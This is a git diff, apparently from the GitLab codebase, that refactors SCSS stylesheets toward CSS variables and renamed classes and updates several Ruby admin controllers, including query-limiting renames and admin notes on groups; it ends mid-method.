diff --git a/app/assets/stylesheets/page_bundles/alert_management_settings.scss b/app/assets/stylesheets/page_bundles/alert_management_settings.scss
index fb7c1602cba..ed2707ffbcd 100644
--- a/app/assets/stylesheets/page_bundles/alert_management_settings.scss
+++ b/app/assets/stylesheets/page_bundles/alert_management_settings.scss
@@ -6,7 +6,6 @@ $stroke-size: 1px;
@include gl-relative;
@include gl-w-full;
height: $stroke-size;
- @include gl-display-inline-block;
background-color: var(--gray-400, $gray-400);
min-width: $gl-spacing-scale-5;
diff --git a/app/assets/stylesheets/page_bundles/boards.scss b/app/assets/stylesheets/page_bundles/boards.scss
index fdf9e157e1e..a00a71b07e7 100644
--- a/app/assets/stylesheets/page_bundles/boards.scss
+++ b/app/assets/stylesheets/page_bundles/boards.scss
@@ -40,8 +40,8 @@
[data-page$='epic_boards:index'],
[data-page$='epic_boards:show'] {
- .filter-form {
- display: none;
+ .filtered-search-wrapper {
+ display: none !important;
}
}
@@ -365,7 +365,7 @@
margin: 5px;
}
-.right-sidebar.issue-boards-sidebar {
+.right-sidebar.boards-sidebar {
.gutter-toggle {
bottom: 15px;
width: 22px;
@@ -401,99 +401,6 @@
}
}
-.add-issues-modal {
- background-color: rgba($black, 0.3);
- z-index: 9999;
-}
-
-.add-issues-container {
- width: 90vw;
- height: 85vh;
- max-width: 1100px;
- min-height: 500px;
- padding: 25px 15px 0;
- background-color: var(--white, $white);
- box-shadow: 0 2px 12px rgba(var(--black, $black), 0.5);
-
- .empty-state {
- &.add-issues-empty-state-filter {
- flex-direction: column;
- justify-content: center;
- }
-
- .svg-content {
- margin-top: -40px;
- }
- }
-}
-
-.add-issues-header {
- margin: -25px -15px -5px;
- border-bottom: 1px solid $border-color;
- border-top-right-radius: $border-radius-default;
- border-top-left-radius: $border-radius-default;
-
- > h2 {
- font-size: 18px;
- }
-}
-
-.add-issues-list-column {
- width: 100%;
-
- @include media-breakpoint-up(sm) {
- width: 50%;
- }
-
- @include media-breakpoint-up(md) {
- width: (100% / 3);
- }
-}
-
-.add-issues-list {
- padding-top: 3px;
- margin-left: -$gl-vert-padding;
- margin-right: -$gl-vert-padding;
- overflow-y: scroll;
-
- .board-card-parent {
- padding: 0 5px 5px;
- }
-
- .board-card {
- border: 1px solid var(--gray-900, $gray-900);
- box-shadow: 0 1px 2px rgba(var(--black, $black), 0.4);
- cursor: pointer;
- }
-}
-
-.add-issues-footer {
- margin: auto -15px 0;
- padding-left: 15px;
- padding-right: 15px;
- border-bottom-right-radius: $border-radius-default;
- border-bottom-left-radius: $border-radius-default;
-}
-
-.add-issues-footer-to-list {
- padding-left: $gl-vert-padding;
- padding-right: $gl-vert-padding;
- line-height: $input-height;
-}
-
-.issue-card-selected {
- position: absolute;
- right: -3px;
- top: -3px;
- width: 17px;
- background-color: var(--blue-500, $blue-500);
- color: $white;
- border: 1px solid var(--blue-600, $blue-600);
- font-size: 9px;
- line-height: 15px;
- border-radius: 50%;
-}
-
.board-card-info {
color: var(--gray-500, $gray-500);
white-space: nowrap;
@@ -555,12 +462,28 @@
overflow-x: scroll;
}
- .issue-boards-sidebar {
+ .boards-sidebar {
height: 100%;
top: 0;
}
}
+.boards-sidebar {
+ .sidebar-collapsed-icon {
+ display: none;
+ }
+}
+
.board-header-collapsed-info-icon:hover {
color: var(--gray-900, $gray-900);
}
+
+.board-card-skeleton {
+ height: 110px;
+ box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1);
+
+ .board-card-skeleton-inner {
+ width: 340px;
+ height: 100px;
+ }
+}
diff --git a/app/assets/stylesheets/page_bundles/build.scss b/app/assets/stylesheets/page_bundles/build.scss
index 34f88f9405a..b91850f1775 100644
--- a/app/assets/stylesheets/page_bundles/build.scss
+++ b/app/assets/stylesheets/page_bundles/build.scss
@@ -8,9 +8,9 @@
.archived-job {
top: $header-height;
border-radius: 2px 2px 0 0;
- color: $orange-600;
- background-color: $orange-50;
- border: 1px solid $border-gray-normal;
+ color: var(--orange-600, $orange-600);
+ background-color: var(--orange-50, $orange-50);
+ border: 1px solid var(--border-color, $border-color);
padding: 3px 12px;
margin: auto;
align-items: center;
@@ -86,33 +86,17 @@
padding: 10px 0 9px;
}
- .header-action-buttons {
- display: flex;
-
- @include media-breakpoint-down(xs) {
- .sidebar-toggle-btn {
- margin-top: 0;
- margin-left: 10px;
- max-height: 34px;
- }
- }
- }
-
.header-content {
a {
- color: $gl-text-color;
+ color: var(--gl-text-color, $gl-text-color);
&:hover {
- color: $blue-600;
+ color: var(--blue-600, $blue-600);
text-decoration: none;
}
}
}
- code {
- color: $code-color;
- }
-
.avatar {
float: none;
margin-right: 2px;
@@ -160,12 +144,12 @@
.trigger-build-variable {
font-weight: $gl-font-weight-normal;
- color: $code-color;
+ color: var(--gray-950, $gray-950);
}
.trigger-build-value {
padding: 2px 4px;
- color: $black;
+ color: var(--black, $black);
}
.trigger-variables-table-cell {
@@ -185,7 +169,7 @@
cursor: pointer;
&:hover {
- color: $gl-text-color;
+ color: var(--gl-text-color, $gl-text-color);
}
}
@@ -223,7 +207,7 @@
}
&.retried {
- background-color: $gray-lightest;
+ background-color: var(--gray-10, $gray-10);
}
&:hover {
@@ -231,10 +215,6 @@
}
}
}
-
- .link-commit {
- color: var(--blue-600, $blue-600);
- }
}
.build-sidebar {
diff --git a/app/assets/stylesheets/page_bundles/ci_status.scss b/app/assets/stylesheets/page_bundles/ci_status.scss
index 232d363b7f1..6b976106cc9 100644
--- a/app/assets/stylesheets/page_bundles/ci_status.scss
+++ b/app/assets/stylesheets/page_bundles/ci_status.scss
@@ -80,17 +80,3 @@
}
}
}
-
-.d-block.d-sm-none-inline {
- .ci-status-link {
- position: relative;
- top: 2px;
- left: 5px;
- }
-}
-
-.ci-status-link {
- svg {
- overflow: visible;
- }
-}
diff --git a/app/assets/stylesheets/page_bundles/jira_connect.scss b/app/assets/stylesheets/page_bundles/jira_connect.scss
index eb2dd6e578e..db4be3f18e8 100644
--- a/app/assets/stylesheets/page_bundles/jira_connect.scss
+++ b/app/assets/stylesheets/page_bundles/jira_connect.scss
@@ -4,37 +4,22 @@
@import 'bootstrap-vue/src/index';
@import '@gitlab/ui/src/scss/utilities';
-@import '@gitlab/ui/src/components/base/alert/alert';
// We should only import styles that we actually use.
@import '@gitlab/ui/src/components/base/alert/alert';
@import '@gitlab/ui/src/components/base/avatar/avatar';
-@import '@gitlab/ui/src/components/base/badge/badge';
@import '@gitlab/ui/src/components/base/button/button';
@import '@gitlab/ui/src/components/base/icon/icon';
@import '@gitlab/ui/src/components/base/link/link';
@import '@gitlab/ui/src/components/base/loading_icon/loading_icon';
@import '@gitlab/ui/src/components/base/modal/modal';
@import '@gitlab/ui/src/components/base/pagination/pagination';
-@import '@gitlab/ui/src/components/base/tabs/tabs/tabs';
+@import '@gitlab/ui/src/components/base/table/table';
@import '@gitlab/ui/src/components/base/tooltip/tooltip';
+@import '@gitlab/ui/src/components/base/search_box_by_type/search_box_by_type';
-$atlaskit-border-color: #dfe1e6;
$header-height: 40px;
-.subscription-form {
- .field-group-input {
- display: flex;
- padding-top: $gl-padding-4;
-
- .ak-button {
- align-items: center;
- height: auto;
- margin-left: $btn-margin-5;
- }
- }
-}
-
.jira-connect-header {
min-height: $header-height;
position: fixed;
@@ -56,45 +41,7 @@ $header-height: 40px;
}
.jira-connect-app-body {
- max-width: 600px;
+ max-width: 768px;
margin-left: auto;
margin-right: auto;
}
-
-// for external_link buttons
-svg {
- fill: currentColor;
-
- &.s16 {
- height: 16px;
- width: 16px;
- }
-}
-
-.ak-field-group label {
- text-align: left;
-}
-
-.ak-button__appearance-primary {
- &:hover {
- color: $white;
- text-decoration: none;
- }
-
- svg {
- align-self: center;
- margin-left: 4px;
- }
-}
-
-.subscriptions {
- tbody {
- tr {
- border-bottom: 1px solid $atlaskit-border-color;
- }
-
- td {
- padding: $gl-padding-8;
- }
- }
-}
diff --git a/app/assets/stylesheets/page_bundles/learn_gitlab.scss b/app/assets/stylesheets/page_bundles/learn_gitlab.scss
index 189aefb330b..10a4a210d41 100644
--- a/app/assets/stylesheets/page_bundles/learn_gitlab.scss
+++ b/app/assets/stylesheets/page_bundles/learn_gitlab.scss
@@ -1,3 +1,11 @@
.learn-gitlab-info-card-content {
height: 200px;
}
+
+.learn-gitlab-section-card {
+ height: 400px;
+}
+
+.learn-gitlab-section-card-header {
+ height: 165px;
+}
diff --git a/app/assets/stylesheets/page_bundles/merge_requests.scss b/app/assets/stylesheets/page_bundles/merge_requests.scss
index 3263a5067ea..9fdc30359f8 100644
--- a/app/assets/stylesheets/page_bundles/merge_requests.scss
+++ b/app/assets/stylesheets/page_bundles/merge_requests.scss
@@ -9,6 +9,18 @@
min-width: 0;
}
+.with-system-header {
+ --system-header-height: #{$system-header-height};
+}
+
+.with-performance-bar {
+ --performance-bar-height: #{$performance-bar-height};
+}
+
+.review-bar-visible {
+ --review-bar-height: #{$mr-review-bar-height};
+}
+
.diff-tree-list {
// This 11px value should match the additional value found in
// /assets/stylesheets/framework/diffs.scss
@@ -23,24 +35,13 @@
position: -webkit-sticky;
position: sticky;
- top: $top-pos;
- max-height: calc(100vh - #{$top-pos});
+ // Unitless zero values are not allowed in calculations https://stackoverflow.com/a/55391061
+ // stylelint-disable-next-line length-zero-no-unit
+ top: calc(#{$top-pos} + var(--system-header-height, 0px) + var(--performance-bar-height, 0px));
+ // stylelint-disable-next-line length-zero-no-unit
+ max-height: calc(100vh - #{$top-pos} - var(--system-header-height, 0px) - var(--performance-bar-height, 0px) - var(--review-bar-height, 0px));
z-index: 202;
- .with-system-header & {
- top: $top-pos + $system-header-height;
- }
-
- .with-system-header.with-performance-bar & {
- top: $top-pos + $system-header-height + $performance-bar-height;
- }
-
- .with-performance-bar & {
- $performance-bar-top-pos: $performance-bar-height + $top-pos;
- top: $performance-bar-top-pos;
- max-height: calc(100vh - #{$performance-bar-top-pos});
- }
-
.drag-handle {
bottom: 16px;
transform: translateX(10px);
diff --git a/app/assets/stylesheets/page_bundles/pipeline.scss b/app/assets/stylesheets/page_bundles/pipeline.scss
index d9ab52774bd..2f3cf889549 100644
--- a/app/assets/stylesheets/page_bundles/pipeline.scss
+++ b/app/assets/stylesheets/page_bundles/pipeline.scss
@@ -139,12 +139,28 @@
width: 186px;
}
+.gl-pipeline-job-width\! {
+ width: 186px !important;
+}
+
.gl-linked-pipeline-padding {
padding-right: 120px;
}
.gl-build-content {
- @include build-content();
+ display: inline-block;
+ padding: 8px 10px 9px;
+ width: 100%;
+ border: 1px solid var(--border-color, $border-color);
+ border-radius: 30px;
+ background-color: var(--white, $white);
+
+ &:hover,
+ &:focus {
+ background-color: var(--gray-50, $gray-50);
+ border: 1px solid $dropdown-toggle-active-border-color;
+ color: var(--gl-text-color, $gl-text-color);
+ }
}
.gl-ci-action-icon-container {
diff --git a/app/assets/stylesheets/pages/commits.scss b/app/assets/stylesheets/pages/commits.scss
index 7111d3d4107..a114a1dc82d 100644
--- a/app/assets/stylesheets/pages/commits.scss
+++ b/app/assets/stylesheets/pages/commits.scss
@@ -1,4 +1,5 @@
-%commit-description-base {
+.commit-description,
+.commit-row-description {
padding: $gl-padding-8 0 $gl-padding-8 $gl-padding-8;
margin-top: $gl-padding-8;
border: 0;
@@ -10,10 +11,6 @@
color: $gl-text-color-secondary;
}
-.commit-description {
- @extend %commit-description-base;
-}
-
.commit-box {
border-top: 1px solid $border-color;
padding: $gl-padding 0;
@@ -249,7 +246,6 @@
}
.commit-row-description {
- @extend %commit-description-base;
display: none;
flex: 1;
}
diff --git a/app/assets/stylesheets/pages/editor.scss b/app/assets/stylesheets/pages/editor.scss
index ef737e11799..14cff5b038a 100644
--- a/app/assets/stylesheets/pages/editor.scss
+++ b/app/assets/stylesheets/pages/editor.scss
@@ -36,7 +36,7 @@
}
.file-title {
- @extend .monospace;
+ @include gl-font-monospace;
line-height: 35px;
padding-top: 7px;
padding-bottom: 7px;
diff --git a/app/assets/stylesheets/pages/events.scss b/app/assets/stylesheets/pages/events.scss
index 5738cbb4b31..c8da025131d 100644
--- a/app/assets/stylesheets/pages/events.scss
+++ b/app/assets/stylesheets/pages/events.scss
@@ -50,7 +50,7 @@
.event-user-info {
margin-bottom: $gl-padding-4;
- .author_name {
+ .author-name {
a {
color: $gl-text-color;
font-weight: $gl-font-weight-bold;
@@ -118,26 +118,11 @@
}
}
- .event_icon {
- position: relative;
- float: right;
- border: 1px solid $gray-darker;
- padding: 5px;
- border-radius: 5px;
- background: $gray-light;
- margin-left: 10px;
- top: -6px;
-
- img {
- width: 20px;
- }
- }
-
&:last-child {
border: 0;
}
- .event_commits {
+ .event-commits {
li {
&.commit {
background: transparent;
diff --git a/app/assets/stylesheets/pages/groups.scss b/app/assets/stylesheets/pages/groups.scss
index ee1385d36df..2ec2da9241b 100644
--- a/app/assets/stylesheets/pages/groups.scss
+++ b/app/assets/stylesheets/pages/groups.scss
@@ -160,17 +160,6 @@
vertical-align: top;
}
-
- .notification-dropdown {
- .dropdown-menu {
- @extend .dropdown-menu-right;
- }
-
- .icon {
- fill: $gl-text-color-secondary;
- }
- }
-
.new-project-subgroup {
.dropdown-primary {
min-width: 115px;
@@ -378,10 +367,6 @@ table.pipeline-project-metrics tr td {
.folder-caret {
width: $gl-font-size-large;
-
- svg {
- margin-bottom: 2px;
- }
}
.item-type-icon {
diff --git a/app/assets/stylesheets/pages/help.scss b/app/assets/stylesheets/pages/help.scss
index 540060d60de..c05216ac6e6 100644
--- a/app/assets/stylesheets/pages/help.scss
+++ b/app/assets/stylesheets/pages/help.scss
@@ -26,13 +26,6 @@
text-align: right;
white-space: nowrap;
}
-
- .key {
- @extend .badge.badge-pill;
- background-color: $label-inverse-bg;
- font: 11px Consolas, 'Liberation Mono', Menlo, Courier, monospace;
- padding: 3px 5px;
- }
}
.documentation {
diff --git a/app/assets/stylesheets/pages/issuable.scss b/app/assets/stylesheets/pages/issuable.scss
index a6ab5459a84..b9f5a427a24 100644
--- a/app/assets/stylesheets/pages/issuable.scss
+++ b/app/assets/stylesheets/pages/issuable.scss
@@ -225,8 +225,7 @@
}
}
- .cross-project-reference,
- .sidebar-mr-source-branch {
+ .cross-project-reference {
color: inherit;
span {
@@ -238,10 +237,6 @@
text-overflow: ellipsis;
}
- cite {
- font-style: normal;
- }
-
button {
float: right;
padding: 1px 5px;
@@ -292,7 +287,7 @@
padding-top: 10px;
}
- &:not(.issue-boards-sidebar):not([data-signed-in]):not([data-always-show-toggle]) {
+ &:not(.boards-sidebar):not([data-signed-in]):not([data-always-show-toggle]) {
.issuable-sidebar-header {
display: none;
}
@@ -638,7 +633,7 @@
}
.btn-link:hover {
- @extend a:hover;
+ color: $blue-800;
text-decoration: none;
}
@@ -797,6 +792,40 @@
}
}
+.add-issuable-form-input-token-list {
+ display: flex;
+ flex-wrap: wrap;
+ align-items: baseline;
+ list-style: none;
+ margin-bottom: 0;
+ padding-left: 0;
+}
+
+.add-issuable-form-token-list-item {
+ max-width: 100%;
+ margin-bottom: $gl-vert-padding;
+ margin-right: 5px;
+}
+
+.add-issuable-form-input-list-item {
+ flex: 1;
+ min-width: 200px;
+ margin-bottom: $gl-vert-padding;
+}
+
+.add-issuable-form-input {
+ width: 100%;
+ border: 0;
+
+ &:focus {
+ outline: none;
+ }
+}
+
+.add-issuable-form-actions {
+ margin-top: $gl-padding;
+}
+
.time-tracker {
.sidebar-collapsed-icon {
> .stopwatch-svg {
diff --git a/app/assets/stylesheets/pages/issues.scss b/app/assets/stylesheets/pages/issues.scss
index 2a8a86615f6..97c8182bab8 100644
--- a/app/assets/stylesheets/pages/issues.scss
+++ b/app/assets/stylesheets/pages/issues.scss
@@ -173,11 +173,10 @@ ul.related-merge-requests > li {
margin-top: 4px;
// override dropdown item styles
- .btn.btn-success {
+ .btn.btn-confirm {
@include btn-default;
- @include btn-green;
+ @include btn-blue;
- border-style: solid;
border-width: 1px;
line-height: $line-height-base;
width: auto;
diff --git a/app/assets/stylesheets/pages/labels.scss b/app/assets/stylesheets/pages/labels.scss
index b7d05fc411a..c7b4dd660d0 100644
--- a/app/assets/stylesheets/pages/labels.scss
+++ b/app/assets/stylesheets/pages/labels.scss
@@ -120,7 +120,6 @@
}
.labels-container {
- background-color: $gray-100;
border-radius: $border-radius-default;
padding: $gl-padding $gl-padding-8;
}
@@ -160,7 +159,7 @@
color: $blue-600;
}
- &.remove-row:hover {
+ &.hover-red:hover {
color: $red-500;
}
}
diff --git a/app/assets/stylesheets/pages/login.scss b/app/assets/stylesheets/pages/login.scss
index 2d04354a99d..9d437531e6d 100644
--- a/app/assets/stylesheets/pages/login.scss
+++ b/app/assets/stylesheets/pages/login.scss
@@ -179,8 +179,9 @@
}
input[type='submit'] {
- @extend .btn-block;
margin-bottom: 0;
+ display: block;
+ width: 100%;
}
.devise-errors {
diff --git a/app/assets/stylesheets/pages/merge_requests.scss b/app/assets/stylesheets/pages/merge_requests.scss
index 23e368a2e73..36d39c1a613 100644
--- a/app/assets/stylesheets/pages/merge_requests.scss
+++ b/app/assets/stylesheets/pages/merge_requests.scss
@@ -236,8 +236,8 @@ $tabs-holder-z-index: 250;
}
.label-branch {
- @extend .ref-name;
-
+ @include gl-font-monospace;
+ font-size: 95%;
color: $gl-text-color;
font-weight: normal;
overflow: hidden;
diff --git a/app/assets/stylesheets/pages/note_form.scss b/app/assets/stylesheets/pages/note_form.scss
index cb5050fc578..59768f4cda8 100644
--- a/app/assets/stylesheets/pages/note_form.scss
+++ b/app/assets/stylesheets/pages/note_form.scss
@@ -48,7 +48,6 @@
}
.note-image-attach {
- @extend .col-lg-4;
margin-left: 45px;
float: none;
}
diff --git a/app/assets/stylesheets/pages/notes.scss b/app/assets/stylesheets/pages/notes.scss
index 190bdcb1efd..801dd44be8e 100644
--- a/app/assets/stylesheets/pages/notes.scss
+++ b/app/assets/stylesheets/pages/notes.scss
@@ -771,6 +771,26 @@ $system-note-svg-size: 16px;
}
}
+.unified-diff-components-diff-note-button {
+ &::before {
+ background-color: $blue-500;
+ mask-image: asset_url('icons-stacked.svg#comment');
+ mask-repeat: no-repeat;
+ mask-size: cover;
+ mask-position: center;
+ content: '';
+ width: 12px;
+ height: 12px;
+ }
+
+ &:hover,
+ &.inverted {
+ &::before {
+ background-color: $white;
+ }
+ }
+}
+
.disabled-comment {
background-color: $gray-light;
border-radius: $border-radius-base;
diff --git a/app/assets/stylesheets/pages/notifications.scss b/app/assets/stylesheets/pages/notifications.scss
index 33ab42b5511..298de33888d 100644
--- a/app/assets/stylesheets/pages/notifications.scss
+++ b/app/assets/stylesheets/pages/notifications.scss
@@ -1,8 +1,4 @@
.notification-list-item {
- .dropdown-menu {
- @extend .dropdown-menu-right;
- }
-
@include media-breakpoint-down(sm) {
.notification-dropdown {
width: 100%;
diff --git a/app/assets/stylesheets/pages/projects.scss b/app/assets/stylesheets/pages/projects.scss
index e51cc0b4479..16f96ebadc9 100644
--- a/app/assets/stylesheets/pages/projects.scss
+++ b/app/assets/stylesheets/pages/projects.scss
@@ -115,11 +115,6 @@
font-size: $gl-font-size;
line-height: $gl-font-size-large;
}
-
- .home-panel-topic-list,
- .home-panel-metadata {
- font-size: $gl-font-size-small;
- }
}
}
@@ -141,10 +136,6 @@
}
}
- .notification-dropdown .dropdown-menu {
- @extend .dropdown-menu-right;
- }
-
.download-button {
@include media-breakpoint-down(md) {
margin-left: 0;
@@ -843,7 +834,7 @@ pre.light-well {
}
.form-control {
- @extend .monospace;
+ @include gl-font-monospace;
background-color: $white;
border-color: $border-color;
font-size: 14px;
diff --git a/app/assets/stylesheets/pages/runners.scss b/app/assets/stylesheets/pages/runners.scss
deleted file mode 100644
index 856e49bd144..00000000000
--- a/app/assets/stylesheets/pages/runners.scss
+++ /dev/null
@@ -1,56 +0,0 @@
-.runner-state {
- padding: 6px 12px;
- margin-right: 10px;
- color: $white;
-
- &.runner-state-shared {
- background: $green-400;
- }
-
- &.runner-state-specific {
- background: $blue-400;
- }
-}
-
-.runner-status {
- &.runner-status-online {
- background-color: $green-600;
- }
-
- &.runner-status-offline {
- background-color: $gray-darkest;
- }
-
- &.runner-status-paused {
- background-color: $red-500;
- }
-}
-
-.runner {
- .btn {
- padding: 1px 6px;
- }
-
- h4 {
- font-weight: $gl-font-weight-normal;
- }
-}
-
-.admin-runner-btn-group-cell {
- min-width: 150px;
-
- .btn-sm {
- padding: 4px 9px;
- }
-
- .btn-default {
- color: $gl-text-color-secondary;
- }
-}
-
-@include media-breakpoint-down(md) {
- .runners-content {
- width: 100%;
- overflow: auto;
- }
-}
diff --git a/app/assets/stylesheets/pages/settings.scss b/app/assets/stylesheets/pages/settings.scss
index f31b6d96f03..aa9ebfe2968 100644
--- a/app/assets/stylesheets/pages/settings.scss
+++ b/app/assets/stylesheets/pages/settings.scss
@@ -278,10 +278,6 @@
.card-header {
display: flex;
align-items: center;
-
- > .btn-success {
- margin-left: auto;
- }
}
.custom-metric {
diff --git a/app/assets/stylesheets/pages/tree.scss b/app/assets/stylesheets/pages/tree.scss
index fa008a05e11..a371aa37e07 100644
--- a/app/assets/stylesheets/pages/tree.scss
+++ b/app/assets/stylesheets/pages/tree.scss
@@ -22,7 +22,7 @@
.control {
float: left;
- margin-left: 10px;
+ margin-left: 8px;
}
}
diff --git a/app/assets/stylesheets/performance_bar.scss b/app/assets/stylesheets/performance_bar.scss
index c6c9f3b7365..bcc3c35e00e 100644
--- a/app/assets/stylesheets/performance_bar.scss
+++ b/app/assets/stylesheets/performance_bar.scss
@@ -14,7 +14,7 @@
color: $gray-300;
select {
- color: $gray-300;
+ color: $white;
width: 200px;
}
diff --git a/app/assets/stylesheets/print.scss b/app/assets/stylesheets/print.scss
index 7b66b61ff36..1d0333d1e2f 100644
--- a/app/assets/stylesheets/print.scss
+++ b/app/assets/stylesheets/print.scss
@@ -60,3 +60,11 @@ pre {
a[href]::after {
content: none !important;
}
+
+.with-performance-bar .layout-page {
+ margin-top: 0;
+}
+
+.content-wrapper {
+ margin-top: 0;
+}
diff --git a/app/assets/stylesheets/themes/_dark.scss b/app/assets/stylesheets/themes/_dark.scss
index d8f74a2913e..11b4bde74a6 100644
--- a/app/assets/stylesheets/themes/_dark.scss
+++ b/app/assets/stylesheets/themes/_dark.scss
@@ -214,6 +214,9 @@ $yiq-text-light: $gray-950;
$line-added-dark: $green-200;
$line-removed-dark: $red-200;
+$well-expand-item: $gray-200;
+$well-inner-border: $gray-200;
+
// Misc component overrides that should live elsewhere
.gl-label {
filter: brightness(0.9) contrast(1.1);
diff --git a/app/assets/stylesheets/themes/theme_light.scss b/app/assets/stylesheets/themes/theme_light.scss
index 228bff94f5d..b41377475c5 100644
--- a/app/assets/stylesheets/themes/theme_light.scss
+++ b/app/assets/stylesheets/themes/theme_light.scss
@@ -81,50 +81,4 @@ body {
color: $gray-900;
}
}
-
- &.gl-dark {
- .logo-text svg {
- fill: var(--gl-text-color);
- }
-
- .navbar-gitlab {
- background-color: var(--gray-50);
- box-shadow: 0 1px 0 0 var(--gray-100);
-
- .navbar-sub-nav,
- .navbar-nav {
- li {
- > a:hover,
- > a:focus,
- > button:hover,
- > button:focus {
- color: var(--gl-text-color);
- background-color: var(--gray-200);
- }
- }
-
- li.active,
- li.dropdown.show {
- > a,
- > button {
- color: var(--gl-text-color);
- background-color: var(--gray-200);
- }
- }
- }
-
- .search {
- form {
- background-color: var(--gray-100);
- box-shadow: inset 0 0 0 1px var(--border-color);
-
- &:active,
- &:hover {
- background-color: var(--gray-100);
- box-shadow: inset 0 0 0 1px var(--blue-200);
- }
- }
- }
- }
- }
}
diff --git a/app/controllers/admin/application_settings_controller.rb b/app/controllers/admin/application_settings_controller.rb
index 7c6a444ce7a..646a6dffd10 100644
--- a/app/controllers/admin/application_settings_controller.rb
+++ b/app/controllers/admin/application_settings_controller.rb
@@ -11,11 +11,7 @@ class Admin::ApplicationSettingsController < Admin::ApplicationController
# https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30233
before_action :set_application_setting, except: :integrations
- before_action :whitelist_query_limiting, only: [:usage_data]
-
- before_action only: [:ci_cd] do
- push_frontend_feature_flag(:ci_instance_variables_ui, default_enabled: true)
- end
+ before_action :disable_query_limiting, only: [:usage_data]
feature_category :not_owned, [
:general, :reporting, :metrics_and_profiling, :network,
@@ -194,8 +190,8 @@ class Admin::ApplicationSettingsController < Admin::ApplicationController
@plans = Plan.all
end
- def whitelist_query_limiting
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/63107')
+ def disable_query_limiting
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/29418')
end
def application_setting_params
diff --git a/app/controllers/admin/clusters/integrations_controller.rb b/app/controllers/admin/clusters/integrations_controller.rb
new file mode 100644
index 00000000000..d163ae7368d
--- /dev/null
+++ b/app/controllers/admin/clusters/integrations_controller.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class Admin::Clusters::IntegrationsController < Clusters::IntegrationsController
+ include EnforcesAdminAuthentication
+
+ private
+
+ def clusterable
+ @clusterable ||= InstanceClusterablePresenter.fabricate(Clusters::Instance.new, current_user: current_user)
+ end
+end
diff --git a/app/controllers/admin/dev_ops_report_controller.rb b/app/controllers/admin/dev_ops_report_controller.rb
index 4ebc643be33..4178e51fb13 100644
--- a/app/controllers/admin/dev_ops_report_controller.rb
+++ b/app/controllers/admin/dev_ops_report_controller.rb
@@ -1,11 +1,11 @@
# frozen_string_literal: true
class Admin::DevOpsReportController < Admin::ApplicationController
- include Analytics::UniqueVisitsHelper
+ include RedisTracking
helper_method :show_adoption?
- track_unique_visits :show, target_id: 'i_analytics_dev_ops_score'
+ track_redis_hll_event :show, name: 'i_analytics_dev_ops_score', if: -> { should_track_devops_score? }
feature_category :devops_reports
@@ -18,6 +18,10 @@ class Admin::DevOpsReportController < Admin::ApplicationController
def show_adoption?
false
end
+
+ def should_track_devops_score?
+ true
+ end
end
Admin::DevOpsReportController.prepend_if_ee('EE::Admin::DevOpsReportController')
diff --git a/app/controllers/admin/groups_controller.rb b/app/controllers/admin/groups_controller.rb
index 0a1c85eef3f..e14cfc236cf 100644
--- a/app/controllers/admin/groups_controller.rb
+++ b/app/controllers/admin/groups_controller.rb
@@ -30,9 +30,11 @@ class Admin::GroupsController < Admin::ApplicationController
def new
@group = Group.new
+ @group.build_admin_note
end
def edit
+ @group.build_admin_note unless @group.admin_note
end
def create
@@ -49,6 +51,8 @@ class Admin::GroupsController < Admin::ApplicationController
end
def update
+ @group.build_admin_note unless @group.admin_note
+
if @group.update(group_params)
redirect_to [:admin, @group], notice: _('Group was successfully updated.')
else
@@ -58,7 +62,7 @@ class Admin::GroupsController < Admin::ApplicationController
def members_update
member_params = params.permit(:user_ids, :access_level, :expires_at)
- result = Members::CreateService.new(current_user, member_params.merge(limit: -1)).execute(@group)
+ result = Members::CreateService.new(current_user, member_params.merge(limit: -1, source: @group)).execute
if result[:status] == :success
redirect_to [:admin, @group], notice: _('Users were successfully added.')
@@ -105,7 +109,10 @@ class Admin::GroupsController < Admin::ApplicationController
:require_two_factor_authentication,
:two_factor_grace_period,
:project_creation_level,
- :subgroup_creation_level
+ :subgroup_creation_level,
+ admin_note_attributes: [
+ :note
+ ]
]
end
end
diff --git a/app/controllers/admin/services_controller.rb b/app/controllers/admin/services_controller.rb
index 379e74bb249..9f951e838c8 100644
--- a/app/controllers/admin/services_controller.rb
+++ b/app/controllers/admin/services_controller.rb
@@ -4,12 +4,12 @@ class Admin::ServicesController < Admin::ApplicationController
include ServiceParams
before_action :service, only: [:edit, :update]
- before_action :whitelist_query_limiting, only: [:index]
+ before_action :disable_query_limiting, only: [:index]
feature_category :integrations
def index
- @services = Service.find_or_create_templates.sort_by(&:title)
+ @activated_services = Service.for_template.active.sort_by(&:title)
@existing_instance_types = Service.for_instance.pluck(:type) # rubocop: disable CodeReuse/ActiveRecord
end
@@ -39,7 +39,7 @@ class Admin::ServicesController < Admin::ApplicationController
end
# rubocop: enable CodeReuse/ActiveRecord
- def whitelist_query_limiting
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab/-/issues/220357')
+ def disable_query_limiting
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/220357')
end
end
diff --git a/app/controllers/admin/users_controller.rb b/app/controllers/admin/users_controller.rb
index d0761083c8b..8a090c8ef10 100644
--- a/app/controllers/admin/users_controller.rb
+++ b/app/controllers/admin/users_controller.rb
@@ -13,7 +13,7 @@ class Admin::UsersController < Admin::ApplicationController
def index
@users = User.filter_items(params[:filter]).order_name_asc
@users = @users.search_with_secondary_emails(params[:search_query]) if params[:search_query].present?
- @users = @users.includes(:authorized_projects) # rubocop: disable CodeReuse/ActiveRecord
+ @users = users_with_included_associations(@users)
@users = @users.sort_by_attribute(@sort = params[:sort])
@users = @users.page(params[:page])
@@ -228,6 +228,10 @@ class Admin::UsersController < Admin::ApplicationController
protected
+ def users_with_included_associations(users)
+ users.includes(:authorized_projects) # rubocop: disable CodeReuse/ActiveRecord
+ end
+
def admin_making_changes_for_another_user?
user != current_user
end
diff --git a/app/controllers/application_controller.rb b/app/controllers/application_controller.rb
index 379da90827a..607f3435394 100644
--- a/app/controllers/application_controller.rb
+++ b/app/controllers/application_controller.rb
@@ -16,7 +16,6 @@ class ApplicationController < ActionController::Base
include SessionlessAuthentication
include SessionsHelper
include ConfirmEmailWarning
- include Gitlab::Tracking::ControllerConcern
include Gitlab::Experimentation::ControllerConcern
include InitializesCurrentUserMode
include Impersonation
@@ -463,7 +462,7 @@ class ApplicationController < ActionController::Base
feature_category: feature_category) do
yield
ensure
